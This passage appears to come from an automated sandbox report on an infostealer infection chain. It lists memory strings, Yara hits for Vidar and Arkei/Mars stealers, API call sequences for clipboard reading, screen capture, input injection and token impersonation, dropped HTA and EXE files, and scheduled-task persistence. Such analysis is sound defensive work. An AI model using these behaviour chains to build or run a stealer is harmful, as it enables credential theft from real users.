Source: trano1221.exe, 0000002A.00000003.1638675310.000001E16B605000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1643633653.000001E16B620000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1642098430.000001E16B61D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:
Source: trano1221.exe, 0000002A.00000003.1638675310.000001E16B605000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1643633653.000001E16B620000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1642098430.000001E16B61D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr:r;Nr
Source: m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: UD49QH6.exe, 00000010.00000003.1449386649.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/badges/package/pypi/importlib-metadata
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816453607.000001E16B538000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1884450015.000001E16B539000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1814171740.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839236500.000001E16B56B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1884778841.000001E16BC1D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807134122.000001E16BC19000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1863172789.000001E16B56F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880210684.000001E16BC1A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880906094.000001E16B582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882675982.000001E16BAB0000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1717851242.000001E16BA15000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1858813276.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1717851242.000001E16BA6C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: UD49QH6.exe, 00000010.00000003.1462695917.0000000005B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: trano1221.exe, 00000023.00000003.1604145252.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: trano1221.exe, 00000023.00000003.1604145252.0000013C2C401000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1604306017.0000013C2C402000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1604145252.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: m0wsoI3.exe, 00000011.00000002.1531427752.0000000010285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: UD49QH6.exe, 00000010.00000003.1449386649.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000003.1501994471.000000000F41E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1984742205.00007FF98C2B7000.00000004.00000001.01000000.0000002C.sdmp, trano1221.exe, 0000002A.00000002.1980746377.00007FF98BDB8000.00000004.00000001.01000000.0000002D.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: trano1221.exe, 0000002A.00000003.1894885445.000001E16BC08000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813822027.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1831036072.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1871438491.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1881267013.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882569817.000001E16BC07000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815421865.000001E16BBFA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882379108.000001E16BBFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: trano1221.exe, 0000002A.00000002.1933157269.000001E16AE60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: trano1221.exe, 0000002A.00000002.2006486368.00007FF98E808000.00000040.00000001.01000000.0000001C.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: trano1221.exe, 0000002A.00000003.1882675982.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1942810073.000001E16B58C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1822487423.000001E16B586000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946483979.000001E16BAEA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880906094.000001E16B58C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883906457.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006BEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

18_2_006BEAFF

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006BED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

18_2_006BED6A

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

18_2_006BEAFF

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_009461F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

13_2_009461F0

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006AAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

18_2_006AAA57

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006D9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

18_2_006D9576

System Summary

Malicious sample detected (through community Yara rule)

Source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detect Mars Stealer based on a specific XOR routine Author: Sekoia.io
Source: 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a Author: unknown
Source: Process Memory Space: m0wsoI3.exe PID: 5132, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

Binary is likely a compiled AutoIt script file

Source: 8e933e9d51.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 8e933e9d51.exe, 00000012.00000002.1531510429.0000000000702000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_8ef64bd3-5
Source: 8e933e9d51.exe, 00000012.00000002.1531510429.0000000000702000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d306c521-6

Creates HTA files

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	File created: C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Temp\J9hHfTRUK.hta
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	File created: C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta

PE file contains section with special chars

Source: M6gQuZPvgY.exe	Static PE information: section name:
Source: M6gQuZPvgY.exe	Static PE information: section name: .idata
Source: M6gQuZPvgY.exe	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: UD49QH6[1].exe.6.dr	Static PE information: section name:
Source: UD49QH6[1].exe.6.dr	Static PE information: section name: .idata
Source: UD49QH6[1].exe.6.dr	Static PE information: section name:
Source: UD49QH6.exe.6.dr	Static PE information: section name:
Source: UD49QH6.exe.6.dr	Static PE information: section name: .idata
Source: UD49QH6.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: c1f0508103.exe.6.dr	Static PE information: section name:
Source: c1f0508103.exe.6.dr	Static PE information: section name: .idata
Source: c1f0508103.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 83f34278c7.exe.6.dr	Static PE information: section name:
Source: 83f34278c7.exe.6.dr	Static PE information: section name: .idata
Source: 83f34278c7.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 0629403be8.exe.6.dr	Static PE information: section name:
Source: 0629403be8.exe.6.dr	Static PE information: section name: .idata
Source: 0629403be8.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: d101bd5267.exe.6.dr	Static PE information: section name:
Source: d101bd5267.exe.6.dr	Static PE information: section name: .idata
Source: d101bd5267.exe.6.dr	Static PE information: section name:
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name:
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name: .idata
Source: TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.25.dr	Static PE information: section name:

PE file has a writeable .text section

Source: m0wsoI3[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: m0wsoI3.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

PE file has nameless sections

Source: m0wsoI3[1].exe.6.dr	Static PE information: section name:
Source: m0wsoI3.exe.6.dr	Static PE information: section name:

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\TempLFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006AD5EB: CreateFileW,DeviceIoControl,CloseHandle,

18_2_006AD5EB

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006A1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

18_2_006A1201

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006AE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

18_2_006AE8F6

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	File created: C:\Windows\Tasks\rapes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File created: C:\Windows\Tasks\futors.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\Z58QQI5P
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\7YMOHDTJ
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\HVKNYMGD
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\SR1N7QIE
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\EKNG4EUS
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\Y58Q9ZM7
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\3OH479ZM
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\Windows\SysWOW64\00HDTR9Z

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

File deleted: C:\Windows\SysWOW64\Z58QQI5P

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_009461F0	13_2_009461F0
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00984047	13_2_00984047
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0097C6DD	13_2_0097C6DD
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00972C20	13_2_00972C20
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00944EF0	13_2_00944EF0
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0097CE69	13_2_0097CE69
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_009451A0	13_2_009451A0
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096B4C0	13_2_0096B4C0
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00945450	13_2_00945450
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096F6DB	13_2_0096F6DB
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_009818D7	13_2_009818D7
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00985CD4	13_2_00985CD4
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00985DF4	13_2_00985DF4
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00424047	14_2_00424047
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_003E61F0	14_2_003E61F0
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0041C6DD	14_2_0041C6DD
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00412C20	14_2_00412C20
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0041CE69	14_2_0041CE69
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_003E4EF0	14_2_003E4EF0
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_003E51A0	14_2_003E51A0
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_003E5450	14_2_003E5450
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040B4C0	14_2_0040B4C0
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040F6DB	14_2_0040F6DB
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_004218D7	14_2_004218D7
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00425CD4	14_2_00425CD4
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00425DF4	14_2_00425DF4
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0041B020	17_2_0041B020
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00410F00	17_2_00410F00
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0041A790	17_2_0041A790
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0041A190	17_2_0041A190
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0041A5A0	17_2_0041A5A0
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_004107B0	17_2_004107B0
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_6095C314	17_2_6095C314
